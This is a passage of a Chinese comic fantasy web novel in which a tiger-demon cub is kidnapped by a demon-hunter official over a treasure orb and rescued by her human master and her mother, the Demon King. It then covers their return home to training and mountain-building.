“功法,财宝,权势只要你想要的,我都能给,只要你愿意,我甚至可以让你也进天师堂。” “风朔现在还护不住你,她根基还浅,但我可以。” “我是天师堂总堂主,我可以将你收为亲传,届时全天都便无人敢质疑你身份。” 她的语气带上了些许哀求:“只要你交出宝珠碎片,我什么都给你,好吗?” 衔蝉定定的看着她:“如果我说不呢。” 晏舒寒摇头:“傻孩子,我明白你的想法,但是你相信我,这东西留在你身上,只会给你招来祸患。” “混沌宝珠乃是天生至宝,它不论落在哪都注定会引起各方争夺的。” 她苦口婆心的劝:“或许现在你以为它是个宝贝,可它的存在,迟早会为你招来坏人觊觎的。” 衔蝉忽然打断她:“比如你?” 晏舒寒顿了顿,轻叹一声:“对,比如我。” “如果今天你不交,以后还会有更多比我更坏的人,用更残忍的手段,逼迫你交出宝珠碎片。” “他们会杀光你在意的妖族同伴,会将你抽筋扒皮,会对你做一切你想象不到的坏事。” “那你呢?如果我不交,你会杀我的同伴,把我抽筋扒皮吗?”衔蝉问。 晏舒寒想也没想的摇头:“当然不会。” 她还没下作到那种程度。 “我这里有一个搜神咒,它能搜出你身上的所有秘密,包括宝珠碎片在哪。” “搜出宝物下落之后我自会去取宝,不会伤你分毫。” 她弯腰与石台上的衔蝉平视,如同母亲般轻抚她的额头,低声道:“可能会有点疼,但很快就过去了。” “别害怕,我会给你准备止痛药的。” “待会吃完药搜完宝,我就送你回去,你有什么想要的东西吗?我一并给你送去。” 衔蝉一记头槌顶开她的手。 “我才不要你的东西!” 搜神咒她也知道的,那玩意儿一个用不好会变傻瓜的!而晏舒寒居然要对她用那个! 她很生气,也很难过。 越难过就越生气。 她怎么这样呢!她以为她是个好人来着!早知道当初就不救她了! 晏舒寒似是看出了衔蝉眼里的悔意,她自己眼中也有愧疚,只是她低垂着眉眼,让人看不出来。 晏舒寒开始掐诀。 衔蝉挣扎着大叫起来:“住手!” 她不要变成傻子虎! “我告诉你混沌宝珠我藏在哪了!” 晏舒寒指间已经成型的法诀瞬间散去。 “你说。” 衔蝉直视她的双眼,一字一句:“混沌宝珠就在我的丹田里,已经跟我的丹田融为一体了。” “你把它取走,我非死即残。” “所以,晏姨姨,你还要它吗?” 第104章 晏舒寒沉默良久。 许久后, 她缓缓开口:“我会尽力用秘法保住你性命” “即便是人族,被剖取丹田也并非十死无生,若是护持得当, 也尚有一线生机。” 衔蝉更气了:“所以你说什么不会伤我都是屁话呗!骗子!辣鸡!” “但是我告诉你!你想要我的大宝贝, 没门!因为我” 我娘会来揍死你! 轰隆! 衔蝉的话还没说完,一道巨大的爆炸声就从密室外传来, 打断了衔蝉。 晏舒寒听到这爆炸声,忽然脸色一变。 她连忙走到密室门口, 看样子是想开门出去看看情况。 但她还没来得及开门,就见密室大门在她眼前轰然炸开! 两张熟悉得不能再熟悉的嚣张脸出现在她眼前。 “你果然在偷偷搞事!我娘真没看错你!晏堂主!”风妧叉腰怒斥。 风朔就站在她身后,目光幽深的盯着晏舒寒,大有“你敢动我女咱俩就鱼死网破”的架势。 晏舒寒:“你们怎么来了。” 风朔嗤笑一声。 “你该不会真以为留点当年的蛛丝马迹就能拖住我吧?” “我确实恨当年暗害我的幕后之人,但事有轻重缓急。” 仇什么时候都能报, 仇人全家都在那又跑不了,风朔只需要知道他们是谁就可以了。 当她得知对方身份后,他们就已经是死人了,风朔随时都能去取了他们的狗命。 一代天骄的实力就是她敢如此狂妄的底气。 所以她察觉到所有线索都来得过于轻易后,立刻明白这是有人在背后推动此事。 是想暗中帮她吗? 不太像。 是想害她也不像。 倒像是故意丢出这些线索,想一直将她绊住, 使她无法离开天都似的。 察觉到这一点后, 骨子里就写满了叛逆的风朔立刻就不干了。 她飞快推断出目前有这本事能绊住她的人只有天师堂堂主晏舒寒一人。 再暗查一番,发现晏舒寒果然已经离开了天都, 目的地还是平安镇。 这下风朔哪里还坐得住,当即放下手头杂事,带上风妧追了上来。 虽然只晚了一天,但还是紧赶慢赶的追上了晏舒寒。 在衔蝉被晏舒寒绑走后,风朔和风妧刚好抵达平安镇, 也刚好看到晏舒寒面色匆匆的要离开。 只远远地看了一眼,风朔就认出了晏舒寒腰间那个法宝葫芦。 天师堂秘宝,能镇妖精的乾坤葫芦。 就连风妧都看出来了,问风朔,那葫芦里是不是已经装满妖精了? 风朔凝重的神情告诉了风妧答案。 于是母子两个一路跟踪晏舒寒到穗城。 晏舒寒一到穗城天师堂就再也没出来,还让亲信把持了所有出入口,禁止旁人出入。 这架势说没鬼都不可能。 一想到晏舒寒的乾坤葫芦里可能装着自家东坡子洞里的崽儿们,风朔母子俩坐不住了。 在尝试潜入无效后,她俩直接选择了最简单粗暴的方法:一路打进来! 所以这会晏舒寒的亲信们已经东倒西歪的躺了一地了。 晏舒寒:“” 千算万算,就没算到这母子俩不按常理出牌。 风妧已经呲溜一下从晏舒寒身边窜过去了。 “还跑到穗城搞个密室,让我看看,你在私底下干嘛呢!” 随后惊呼一声:“师妹!!怎么被抓的是你啊?!” 风妧连忙上前一步,将被血色锁链缠绕住的衔蝉搀扶起来。 衔蝉给了她一个头槌:“我是你师姐!” 风妧仰天长笑:“或哈哈哈想不到吧!这段时间我修为大有精进,法力也大涨了,如今该我做师姐了!” 她期待的看向衔蝉:“快,喊声师姐来听听。” 衔蝉:“” 衔蝉嗷呜一声变成小老虎,一爪拍向叛逆师妹。 那姿势跟某位不愿意透露姓名的妖王陛下一毛一样的。 风妧不痛不痒的挨了衔蝉压根没用力的一巴掌,笑嘻嘻的帮她扯身上的锁链。 但晏舒寒亲自布下的法阵哪有那么好破开。 风妧当场就想喊妈。 可看清被抓的妖是自家爱徒后就当场暴走的风朔已经跟晏舒寒打起来了。 这会两人打得符文灵光满天飞,都已经打到密室外面去了。 “算啦,要不等会再说吧。”衔蝉扭了扭脖子,又重新蹲坐到石台上。 锁链依旧缠着她的四肢脖颈,但说实话并没有多么难受。 那些符文锁链轻飘飘的,也没有给她捆得很死,只是让她挣不脱而已。 风妧的脸一下子垮下来了:“这晏堂主究竟在搞什么!我本来还以为她是个好人呢!” 衔蝉闻言也拍爪,气愤道:“我也以为她是个好人,才上了她的当!” 小老虎骂骂咧咧:“早知道当初就不救她了!让她被我妈拍死算了!” 风妧一顿。 她伸出手指戳了戳小白虎师妹(姐),好奇问道:“她抓你是想干嘛啊?” 衔蝉一摊爪:“哦,她想要我的混沌宝珠。” 风妧大为惊奇:“她怎么这么敢想!” “混沌宝珠本来就是妖族的东西,现在咱路姨也都出来了,她咋敢的!” “我说师妹啊,你没告诉晏堂主你娘是谁吗?” 打不过就喊妈又不丢人! 本来修行路上就是这样的嘛,打了小的来老的,很合理的! 衔蝉继续骂骂咧咧:“我还没来得及说!” 师尊和师妹就来了。 “喔!好吧。”风妧用胳膊肘捅咕了一下衔蝉:“快说,我们来得及时不!像不像神兵天降!” 衔蝉:“” 衔蝉又给了师妹一爪。 之后姐妹两个就干脆蹲在密室里,你一句我一句的互相说起了近况。 “山上好着呢,别担心,晏舒寒要抓的只有我,大家都没事。” “你们呢?害师尊的人找到没有?在天都你们过得怎么样?” 风妧先点头又摇头:“人找到了,娘给那些人下了追魂咒,随时都能回去取他们狗命,不急。” “天都一点都不好!那些老东西天天叽叽歪歪的烦死人了!还是咱们东坡子洞舒坦!” “天师堂也不好,一个个明争暗斗的,真没劲。” “本来我还觉得晏堂主一个人平衡那么多方势力停不容易的,没想到她也自己也在搞暗斗这一套,哼!” 说着姐妹俩又开始一起骂晏舒寒背信弃义恩将仇报。 骂完,风妧又追着问衔蝉:“师妹——嗷!好好好,师姐!咱妈,不是,咱路姨是不是和传说中一样威风呀?” “我在天都都听了好多她的传说!” “都几百年过去了,她在岭山里动一动,都能把天都那群老东西吓得睡不着觉!” “而且我听说她出来后就去杀了一群降妖师,真的假的?” 衔蝉懵:“我也不知道哇!” 随后一脸严肃:“但很有可能是真的,我妈她真的很凶残。” “不过你放心啦,她凶归凶,但是不会开地图炮仇恨所有人类的,她没那么小家子气。” 悄悄跟师妹蛐蛐妈妈:“她还收过人族徒儿呢你知道吧?” “她嘴上不说,但心里老看重人家了,不然岭山那个破封印根本封不住她” “我跟你说,当年巴拉巴拉” “哇!”风妧听得津津有味:“然后呢然后呢!” 衔蝉:“然后我俩都去异界了,这不我才刚回来没多久,刚回的时候我还以为自己穿越了呢。” 没想到自己居然是原住民。 风妧啧啧称奇:“喔!难怪你有时候说话怪怪的,原来是在异界学的呀!” 还把大家都带歪了,现在大家说话都跟以前不一样了,还挺好玩的。 “快跟我说说,异界是什么样的?那里有降妖师和妖精吗?” 衔蝉立刻不困了,跟风妧吹嘘起自己在异界当农家猫猫做村霸的日子。 “我会种田就是在那时候学的!” 小白虎昂首挺胸,非常骄傲。 末了感慨一句:“学种田挺好的,不会挨打,跟师尊学法术也挺好的,也不会挨打。” 虎大声蛐蛐:“只有跟我娘学本事最背时!她的教育方式太粗暴了!天天揍我!” “要不是她天天揍我,我也不会嗷!!” 整个密室的房顶忽然被掀开,缠在衔蝉身上的所有血色锁链都瞬间碎裂! 被掀开了屋顶的密室上空,一只巨大的虎爪从天而降。 然后一指头就把衔蝉和石台一起锤进了地里,只剩一个虎脑壳还在外面。 衔蝉:“” 风妧:“” 风妧咽了咽口水。 咱路姨,是有亿点点凶残了哈。 她悄悄后退一步抬头望天吹口哨,假装自己只是路过,并没有跟衔蝉一起在背后蛐蛐某位妖王陛下。 但下一秒,她也被一视同仁的锤进了土里。 不远处的废墟上,还有另外两位贵宾正在扮演萝卜。 晏舒寒跟风朔缠斗时都没慌,但在看到那道小山般巍峨的身影时,她差点吐出一口老血。 风朔也就算了,怎么把这尊杀神也招来了?! 她绑架的这位猫小友究竟是个什么来头?! 风朔虽然也被按进了土里,但她哈哈大笑:“你是不是没问过我家乖徒,她亲娘是谁?” 晏舒寒心里顿时有了不妙的预感。 可是衔蝉不是一只猫妖吗?! 而且妖王之子不是早就没了吗?! 一声让天地都在震颤的虎啸声骤然炸开。 “吼————!!!” 在听不懂的外人耳朵里,这是一道意味着“你们马上都要死”的杀神宣告。 但在听得懂的衔蝉耳朵里,这句话翻译一下,是这样子的:“小崽子居然还想跑?出来挨打!” 嗯,对,偷偷溜下山逃避学习的虎大王终于要被亲妈制裁了。 至于刚刚顺爪锤进土里的几个人? 妖王陛下表示没看清,无所谓,爱谁谁。 第105章 大白虎一来, 局势瞬间开始一边倒。 衔蝉被妈妈一爪锤进土里后,又很熟练的先把两只前爪蛄蛹出来,再用前爪撑着地面使劲往上一挣! 飞快的就把自己从土里扒拉出来了。 还有余力去把师妹也刨出来。 风妧的嘴巴大张着, 看着大白虎山一般的身躯, 两眼乱冒星星。 如此威猛!如此强悍! 她当场就想呲溜一下冲上去抱大腿再问一声,姨, 还缺人族徒儿吗?! 不仅天赋好悟性高还超会拍马屁的那种! 什么?那你说亲娘风朔怎么办? 风妧可以指天发誓,如果可以的话, 保不齐她娘拜倒在大白虎座下的速度比她还快。 没办法,天才也是需要教导的嘛。 人族因为断代,能教导天才的前辈已经都没了。 风朔现在的实力在人族里可以算是最顶尖那一档,但要是真跟古时候那些大能相比,还是差很远的。 毕竟传承都断绝了→→ 可要是能得到上古神兽后裔, 当今世界唯一战力天花板的妖王陛下的指导!那一切就不一样了。 想当年的灵霄,也只不过是被她随口指点了几句,修为就突飞猛进! 后来若不是灵霄对人族同胞不设防,又不懂那些暗地里的阴谋诡计,她是绝无可能落得那般下场的。 而且即便被暗算,以灵霄的实力依旧也远不至于山穷水尽。 是她自己得知真相后心存死志, 选择撕裂魂魄护送恩师爱子去异界。 天师堂的古籍虽然记载的很多东西都有些偏颇, 但也写了当年灵霄战死很大程度上是她自己一心求死。 只是人类们不知道她为什么会忽然那么决绝而已。 当年那些为了夺宝变得丧心病狂的人类,是不会懂灵霄当时想要赎罪的心情的。 把恩师唯一的孩子抢去人间当灵源, 甚至极大可能会被剖开丹田生剥宝珠,灵霄到那时才明白自己被人蒙骗提出的“共享”有多离谱。 难怪恩师大怒,也难怪人族天师非要推她出去谈。 终于明白自己都在同族的算计下做了什么的灵霄这才心如死灰,只想用性命向恩师赎罪。 不然就凭那些人族天师怎么可能奈何得了她。 可她也没想到,她痛痛快快的死了, 却反而让本还有余力打破人族联军的妖王为了护她残魂,不得不又付出了许多法力和修为。 阴差阳错之下,才真叫路涉川被人族大天师联手镇压在了妖族王庭。 而且她被封印后也只是虚弱了一段时间,很快就缓了过来,随时可以打破封印。 只是后来为了守住灵霄的魂火扯远了,总之,要是真能得到妖王指点一二的话,这世间没有谁会拒绝这样的机遇! 然而妖王陛下会再接受新的人族徒儿吗? 衔蝉把师妹拉到虎妈面前:“妈!这就是我师妹!” 小老虎屁颠颠的:“要不以后你一起教我们吧!” 要挨揍大家一起挨揍!不能她一个虎天天被揍成溜溜球! 大白虎的回应是重新把逆子锤进土里。 她轻哼一声:“人类,麻烦得要死。” 随后招呼崽子,速速跟她回家,以后也别想逃避学习,否则就等着母爱铁拳吧。 衔蝉:“” 小老虎灰头土脸的再次把自己从土里扒拉出来,又跑去旁边把还焊在地里的师尊拉出来。 风朔拍了拍衣摆上的泥巴,又非常感慨的拍了拍爱徒的肩。 哎,她居然误打误撞的把自己辈分拔这么高了哈哈哈! 四舍五入,她这是跟妖王陛下一个辈分了啊! 回头再看看面如死灰的晏舒寒,风朔叹道:“现在后悔了吧?” 晏舒寒却忽然爆发。 “后悔?!我不可能后悔!” “倒是你!风朔!你还记得你是人族吗?!” “就这么背叛人族,跟妖王勾结,你真以为你会有什么好下场吗?!” “当年的灵霄比你又如何!最后又如何唔!!” 晏舒寒话音未落,脖子就被一只大手掐住,那力道大得几乎将她颈椎活活捏碎。 “你刚刚说什么。” 去而复返的大白虎变成人形掐着晏舒寒的脖子,阴恻恻的问道。 窒息的痛苦让晏舒寒张大嘴试图喘息,但都这样了,她依然从牙缝里挤出断断续续的话。 “我,说的,不对吗?妖王!” “你生来嗜杀,屠戮我人族先辈,整整一代!灵霄,不过,也只是,你养的,一条狗!” 路涉川勃然大怒。 “你懂个屁!” 说着就要掐死晏舒寒。 还是风朔叹了口气,硬着头皮上前道:“妖王前辈,请息怒。” “您要杀她,晚辈不敢有意见,但晚辈可否斗胆,求您先暂缓片刻晚辈想问她点话。” 风朔小心翼翼的观察着路涉川的表情。 路涉川面无表情。 她甚至没有抬眼多看一眼风朔。 晏舒寒在她手下挣扎渐弱。 衔蝉:唉,还得靠我! 她倒回去,拍拍虎妈的手。 “妈,你先等等,给师尊个面子嘛。” “这家伙可是天师堂总堂主,师尊要问她的话应该挺重要的。” “你等师尊问完再杀行不行。” 路涉川眯着眼睛看了一眼崽子,竟真松开了手。 随后她才终于拿正眼看了一眼风朔。 “哟,原来这就是那位大名鼎鼎的东坡子洞太上皇啊。” 衔蝉:“” 风朔:“” 风朔忽然感觉自己的脑袋在脖子上待得不太稳当了。 衔蝉使劲捅咕虎妈,小声碎碎念:“形象形象!妈你可是堂堂妖王,怎么能说这种酸不拉几的小话!” 路涉川抬手就给了崽子后脑勺一巴掌,给她糊得一个趔趄。 “什么大话小话,本王爱说什么说什么。” 她斜眼就是一个地图炮:“本王可不是人类,成天瞎讲究些有的没的。” 人类总是给自己弄很多条条款款背在身上,搞得自己做什么事都不利落,说什么话都不痛快,活得憋屈又拧巴。 有被骂到的人类们:“” 风朔坚强的假装没听见这句话,转身问晏舒寒:“你来平安镇,是你自己的意思,还是整个天师堂的意思?” 晏舒寒大口呼吸着新鲜空气:“有什么区别吗?” 她像是破罐子破摔一样冷笑一声:“难道我不来平安镇,天师堂不夺混沌宝珠,妖王就会放过人族?” 以己度人,晏舒寒觉得这根本不可能。 妖王迟早会为妖族复仇,再次屠戮人族的。 “既然她横竖都不会放过我们,那我们为之拼死一搏有什么错!” 就算是死,人族也不该跪着死! 与其坐等妖王杀上门来,不如主动出击,夺宝珠积力量,再与她战过一场! “你以为你现在投靠妖族,将来就能幸免于难?” 晏舒寒略带怜悯的朝风朔摇头:“你对妖王,一无所知。” 那就是个残暴至极的主,无论人族如何伏低做小,也难免哪天她不高兴了就要大开杀戒! 何况人族这些年本就对妖族做了不少亏心事,这不更是把大开杀戒的理由送到她手上吗?! 就算风朔现在靠着一点关系能暂时躲开妖王的屠戮,可将来呢? 将来要是哪天妖王心情不好了,她才不会管谁是谁,照样杀! 风朔沉默。 她确实不了解妖王。 但她了解她爱徒。 不管妖王如何,衔蝉都不是那种嗜杀滥杀的妖,有她在,人族的生机就不会断绝。 妖王再残暴,再要为妖族复仇,看在衔蝉的面子上,也不至于做得太绝。 起码刚刚衔蝉让她放手,她就放了。 同为母亲,风朔很明白妖王的心情。 自己的孩子,就算再可恶,那也是亲生的。 何况衔蝉一点都不可恶,任何跟她相处过的人和妖都会对她竖起大拇指。 她敞亮,心胸宽广,对人类也没有任何敌视和偏见。 妖王有她这样一个崽子,是全人族的福气。 “等等,谁说我妈要杀光人族了?”衔蝉忽然开口:“你们为什么要做这种莫名其妙的假设。” 晏舒寒和风朔齐齐看向她。 晏舒寒嗤了一声:“是不是莫名其妙的假设,你娘比谁都清楚。” “她一出关就杀了天师堂几个堂口的人,这难道也是我莫名其妙假设出来的吗?” “那些人虽然的确是当年某些世家的后代,可他们到底也未曾参与过封印妖王。” “她被封印的时候,他们甚至还没出世。” “可她还是杀了他们!一个都没留!” “如此行径,你跟我说她无意屠戮人族?哈,真是笑话。” 沉默片刻后,风朔说了句不偏不倚的话:“可你也说了,那是妖王仇人的后代。” “你扪心自问,倘若是你与人有血海深仇,你报仇时也还要细细去分仇人家里谁该死谁不该死么?” 谁报血海深仇不是杀仇人全家的。 能给仇人家留几只鸡一条狗都算是心慈手软的了。 什么祸不及家人,前提那是惠不及家人啊。 那些人仗着先辈封印妖王的丰功伟绩,在后来可没少捞好处。 说他们是在妖族身上发的家都一点不为过。 总不能便宜让他们占完了,代价却撇得一干二净吧? “那你能保证,妖王只会杀仇人后代,不会滥杀无辜吗?”晏舒寒死死盯着风朔。 “在你回答我之前,你先想想这几百年光是天师堂都杀了多少妖。” “若是妖王也要为她们一一复仇,你还是这句话吗?” “风朔,你还是太年轻了。”晏舒寒长叹一声:“有些事情不是简单的公道二字就能说清的。” “妖王没理由都能杀人,何况有这样多的理由。” “若是人人都像你这么天真,在妖王面前还想讲公道,那人族何愁不能灭族。” 第106章 晏舒寒的一番话, 给风朔说得不知道该怎么回答好了。 风朔知道她说得有些偏颇了,可她自己也是人族,又没什么立场去反驳晏舒寒。 毕竟妖王确实一出关就把天师堂的几个堂口屠了 风朔陷入沉默, 然而衔蝉就直白多了。 她小跑几步, 跑上前去把正要背着手溜达离开的虎妈拉住,当着晏舒寒的面大声问道: “妈!你要杀光人族吗?” 小老虎一脸认真:“就一个不留, 家里的鸡和狗都炖了,蚯蚓都竖着劈的那种!” 路涉川闻言顿住脚步, 用看智障的眼神看了一眼崽子。 “我闲得发慌吗,跑去杀光她们。” 妖王陛下毫不留情的吐槽道:“你会去捅蚂蚁窝,把全世界的蚂蚁都踩死吗?” 人族,对她而言,跟蚂蚁没有任何区别。 是, 她是不慎阴沟里翻船,被蚂蚁咬了一口,但那说起来也只是她自己时运不济而已。 何况被蚂蚁咬那一口也并没有对她造成多么重的实际伤害。 所以她顶多把咬她那一窝蚂蚁给踩死,剩下的蚂蚁,她才懒得管。 当然,出关后灭掉那一群, 也属于那“一窝”的范围就是了。 风朔:“” 晏舒寒:“” 晏舒寒挣扎道:“怎么可能!你这种暴君怎么可能那么大度!” “这些年人族与妖族的血仇, 你敢说你不想报吗?你敢说你从没想过要屠戮人族,让妖族一统天下吗!” 路涉川用很莫名其妙的眼神看了晏舒寒一眼。 “本王确实不大度。”她再次调转脚步, 掐着晏舒寒的脖子将她拎得双脚离地。 又是一阵窒息传来。 路涉川一边掐着晏舒寒的脖子,一边凉飕飕道:“但你凭什么觉得那些连人族都打不过的废物,也配让本王为他们报仇?” 在传统妖族的观念里,成王败寇是很正常的事情。 赢了就高兴输了就认罚,多天经地义。 当年是人族赢了, 所以妖族被针对,很正常。 反过来,要是妖族赢了,对人族如何针对,也正常。 路涉川自己都大大方方的认栽了,更别说别的妖族。 而仅仅因为自己栽了一次就要恼羞成怒的灭对方全种族,路涉川认为那是弱者行经。 她才不屑做。 她要踩死的那一窝蚂蚁谁也保不住,但剩下她懒得踩的蚂蚁窝,你请她去踩她也懒得搭理你。 就这么简单。 晏舒寒:“” 她还想反驳,但她已经快要窒息了。 路涉川掐着她抖了几抖,看着她涨红的脸,继续道: “让妖族一统天下?你的意思是想让本王把人族一起给统治了?你想得可真美!” “本王连妖族都懒得管,还管你们人族的烂摊子?笑话!” “但你说要屠戮人族虽然本王现在没那兴趣,但你要是付得起代价,请本王出手帮你灭了他们,倒也不是不行。” 随后她很大方的将晏舒寒的脖子松开一丝,饶有兴致的问她: “说罢,为了请本王出手,你愿意付出多大的代价?” 晏舒寒:“???” 她大口喘息了一下:“你不要血口喷人!” “我什么时候说过要请你出手灭掉人族了!分明是你自己胡乱揣测,胡说八道!” 她辛辛苦苦忙活这一通,差点连小命都搭进去图的是什么? 还不是想阻止妖王屠戮人族! 可现在,妖王跟她说,人族不过蝼蚁,她才懒得灭。 她甚至还说,想要她出手灭绝人族,还要让晏舒寒亲自去请? 晏舒寒简直要一口老血喷出来! 不带这么冤枉人的! “哦。”路涉川无所谓的把晏舒寒一扔,总结道:“你付不起代价。” 妖王陛下锐评:“你也是废物。” 晏舒寒:“” 要不是打不过,真想跟她拼了! 但她想拼,路涉川却懒得再跟她废话。 她甚至懒得杀她。 在路涉川眼里,她太弱了,弱得让她一丝兴趣都没有。 杀她跟碾死蚂蚁一样,不会有任何兴致,还会弄脏自己的手。 先前想杀她只是因为她用灵霄大放厥词。 现在她自己学乖了不提灵霄了,路涉川当然就不会再搭理她。 她连多余的眼神都没给晏舒寒一眼。 就像随手扔掉了什么垃圾一样,扭头就走。 走到崽子身边,把她揪着后颈皮拎起来,然后像拎塑料袋一样把她往回拎。 衔蝉这段时间已经被虎妈拎惯了,老实巴交的把四肢缩起来,尾巴也收好,像一颗小老虎球。 在虎妈手下晃晃悠悠的。 看着小白虎那无辜又无助的眼神,风朔欲言又止。 怎么能这么带孩子 母爱如山体滑坡也不是这么个滑法啊 看孩子给拎的,五官都被扯到脑门上了!跟扎了根超紧的头绳一样! 风朔心情复杂的叹了口气。 临走之前,她再回头看了晏舒寒一眼。 “回去吧。” “既然话都说清楚了,你也别再继续草木皆兵跟虚空斗智斗勇了。” “妖王跟人类不一样,不要用你自己的想法去揣测她。” “哦,还有,你回去洗洗,准备退位让贤吧。” 晏舒寒猛地抬头看向风朔。 风朔耸耸肩:“你那是什么眼神?你该不会以为你弄了今天这么一遭,以后还能继续安安稳稳的做总堂主吧?” “你不是口口声声最在意人族?” “你这么个绑架过妖王亲子的人类继续坐在天师堂总堂主的位置上,你不怕妖王迁怒整个天师堂?” 怜悯的摇摇头:“晏堂主,晏前辈,别再垂死挣扎了。” “至于天师堂和人族的未来您也别操心了,安心回去养老吧。” “以后的事情,交给我们后辈就是了。” 晏舒寒:“你是不是早就觊觎总堂主的位置了?” 风朔故作惊讶:“你怎么会这么想?但你非要这么想,那我也没办法。” 拍拍晏舒寒的肩:“下次再见,晏前辈。” 而不是晏堂主。 晏舒寒沉默了。 可无人在意她的沉默。 风朔也带着风妧,追上了前面的一大一小。 风妧见一切平息,还追着路涉川喊:“妖王前辈!路姨姨!等等我们啊!” 路涉川的脚步稍微放慢了一丢丢。 自从有了崽子之后,她对小崽子的容忍度也提高了那么一丢丢。 风妧在她眼里就是个妥妥的小崽子。 还是自家崽子的好朋崽。 在犄角旮旯里捡出一丝母爱的路涉川,爱屋及乌的对风妧的态度也好了点。 她允许风妧跟崽子并排走,也不计较她追着自己喊姨。 但风朔就没有这样的好待遇了。 刚刚还很大方的妖王陛下小气吧啦的剜了风朔一眼,从鼻子里挤出一声“哼”。 总感觉看这家伙哪哪都不顺眼。 一定是她长得太欠打的缘故。 跟她抢了自己的崽子没有任何关系。 风朔干咳了两声。 “咳咳,前辈,晚辈当初并不知道衔蝉的真实身份。” 所以别瞪她了好吗!她真不是故意偷家的! 路涉川:“哦。” “那你现在知道了。” 她拎起小虎崽在风朔面前晃了一下,示意道:“来吧。” 风朔:“?” 来什么? 路涉川一脸理所当然:“来解除你们的师徒关系。” 以及顺便卸任东坡子洞太上皇的重担! 风朔:“” 风朔委婉道:“前辈,在我们人族的习俗里,一日为师,终生为母。” 并没有什么解除师徒关系的说法。 “放屁!”路涉川大怒:“本王说有就有!” 她亲生的崽子,凭什么一转眼就被别人拐了!不爽! 衔蝉也弱弱道:“妈,你能不能讲点道理。” “你没出来的时候,要不是有师尊在,我已经死翘翘啦!” 路涉川一巴掌呼到崽子后脑勺:“少放屁,老娘在你身上下的封印比她在你身上弄那几层禁咒有用多了!” 她一巴掌就能拍散的保护禁咒,拿什么跟她亲手布下的封印相比! 她布下的封印,不仅能帮崽子伪装身份,还能在她神魂远渡异界时护住她留在这边的肉身,不比什么保护禁咒厉害多了! 风朔摸了摸鼻子没吭声。 衔蝉却不服了,她梗着脖子扭头跟虎妈哇哇叫:“保护禁咒也很有用的!” “不然我早就被你一巴掌拍死了——嗷!!” “老娘现在就拍死你个逆子!” “就算你拍死我,我也要说,你这样是不对的嗷!!” 小虎崽抱头大叫:“路女士!你的教育方式很有问题!” “为人处世这一块也很有问题!情商也很有问题!傲娇已经退环境了嗷嗷嗷!” 路涉川一巴掌拍飞了不知所云的逆子。 风朔目瞪口呆的看着爱徒在空中划出的抛物线,连忙抬手画出一道灵符化作网兜,在衔蝉被焊进土里之前接住了她。 然后也用很不赞同的眼神无声的谴责了一下某位不愿意透露姓名的妖王陛下。 路涉川:“” 路涉川冷哼一声,拂袖而去。 衔蝉双爪抱头呜哩哇啦的嚎:“师尊!还是你最好!我妈她根本不会带孩子嗷!” 又被隔空飞来的灵力巴掌糊了一脸。 风朔又心疼又好笑的摸了摸小老虎的脑袋:“你少说两句吧。” “哼,我就要说。”衔蝉跳到地上变成人形,拍了拍衣摆袖口,一脸不服。 风朔:以前也没发现这孩子这么轴啊。 衔蝉揉了揉隐隐作痛的脑壳撇了撇嘴,猫都是很犟的,大猫也是! 想要打服狗可以,但想要打服猫是不行的。 大猫小猫都只吃软不吃硬,你越打她越不服! 第107章 回到山上后, 衔蝉又过上了被虎妈操练得嗷嗷叫的倒霉日子。 但这回嗷嗷叫的不止她一个了,还有风妧和阿琅,三参和玄蛛, 以及风朔。 风妧是主动跟着衔蝉一起学战斗的, 而且由于她说话好听,路涉川就勉为其难的连她一起教了。 阿琅和三参是专门抽时间出来轮流陪衔蝉挨揍的, 非常讲义气。 玄蛛半是因为职责所在要尽快提升自己和麾下的战力,半是因为她自己亿点点小小的私心。 她想多近距离瞻仰一下妖王陛下的英姿, 再多跟偶像学些硬本事。 因此每次挨揍就玄蛛笑得最开朗,看得几个小崽子牙都酸啾啾的。 风朔本来是不该出现在这个“小崽子”队伍里的,但奈何妖王陛下指名道姓要连她一起教。 路涉川振振有词,身为太上皇,她怎么能不以身作则?! 而且路涉川寻思着那群小崽子她都睁一只眼闭一只眼的一起教了, 再多她这么个添头也无所谓。 横竖揍一个也是揍,揍一群也是揍! 所以风朔就这么被生拉硬拽过来跟小崽子们一起每天挨揍了。 衔蝉:“妈,你说实话,你是不是想公报私仇来着。” 妖王陛下冷哼一声,一掌拍飞所有一脸好奇的小崽子们。 风朔强忍着浑身骨头都快要被揍散架的痛,痛并快乐着。 没办法, 挨揍是真的疼, 但进步也是真的快。 就这样,东坡子洞的高层们每天在路涉川的暴揍中过着水深火热的生活, 但底下却一片祥和。 雪狐族并入东坡子洞之后,衔蝉直接下令让熟手小妖们去把雪狐族地也给种满了。 阿琅这个新上任的族长可没少忙活,甚至还亲自下田教雪狐们如何种地。 把雪狐族给种满之后,阿琅也获得了大家真心实意的认可。 任谁看见那漫山遍野的灵田灵植,都会油然而生一股自豪感的。 雪狐们种地种久了, 气质也变朴实了不少,不再像之前那样总是用下巴看别的妖。 雪狐的附属种族因此很是受宠若惊,一下子对东坡子洞的归属感也加强了不少。 与此同时,雪狐们还联系了往昔关系不错的旧族,通知她们速速来觐见妖王陛下。 因为路涉川破开封印出来的时候没弄出太大的动静来,所以目前岭山之中还有很多妖族并不清楚她已经出来了。 雪狐族就负责给那些暂时不知情的妖族发通知。 不过雪狐族这些年到底是没落了,能联系上的妖族不足当年的三分之一。 于是剩下的那些早就自立为王的妖族,就只能等着衔蝉到时候亲自出征了。 也正因为这个缘故,虎大王最近天天都在挨揍,眼看着闪避速度和耐揍程度都直线上升。 除了大妖族之外,还有零散的末流小妖们。 在岭山南边的小妖们占了天时地利,消息反倒比在岭山深处的大妖们消息更灵通一些。 白果灰绒麦子陆陆续续带了很多小妖回来。 新来的小妖都在白三姑的帮助下飞快融入到东坡子洞里,并且找到了自己妖生的目标。 山上越来越热闹,各种房子仓库桥梁也是扩建了一茬又一茬,从岭山最南边的小南峰一直扩建到了偏西南的位置。 多次的扩建,不仅让山上多了一群基建熟手妖,还多了很多人族工匠。 她们有些干脆加入了东坡子洞,从此就住在山上打拼事业,只在节假日才下山回老家看看。 有些则以合同工的形式,时常来山上承包一两项基建项目。 而基建所花的费用,则全部来源于三参她们在山下的灵植店收益。 如今平安镇上的灵植店名气又更上了一层楼。 晏舒寒回到天都后果然颓然退位,风朔接替了她的位置。 她向东坡子洞的太上皇陛下学了几门上古人族大能所创的缩地成寸与腾云驾雾的功法, 现在虽说比不上某位陛下,但一日之内在天都和东坡子洞走个来回不成问题。 甚至不耽误她每日傍晚被拽去跟小崽子们一起挨揍。 风朔倒是甘之如饴,每天过得又忙又充实,晚上觉也不睡了,专心修炼。 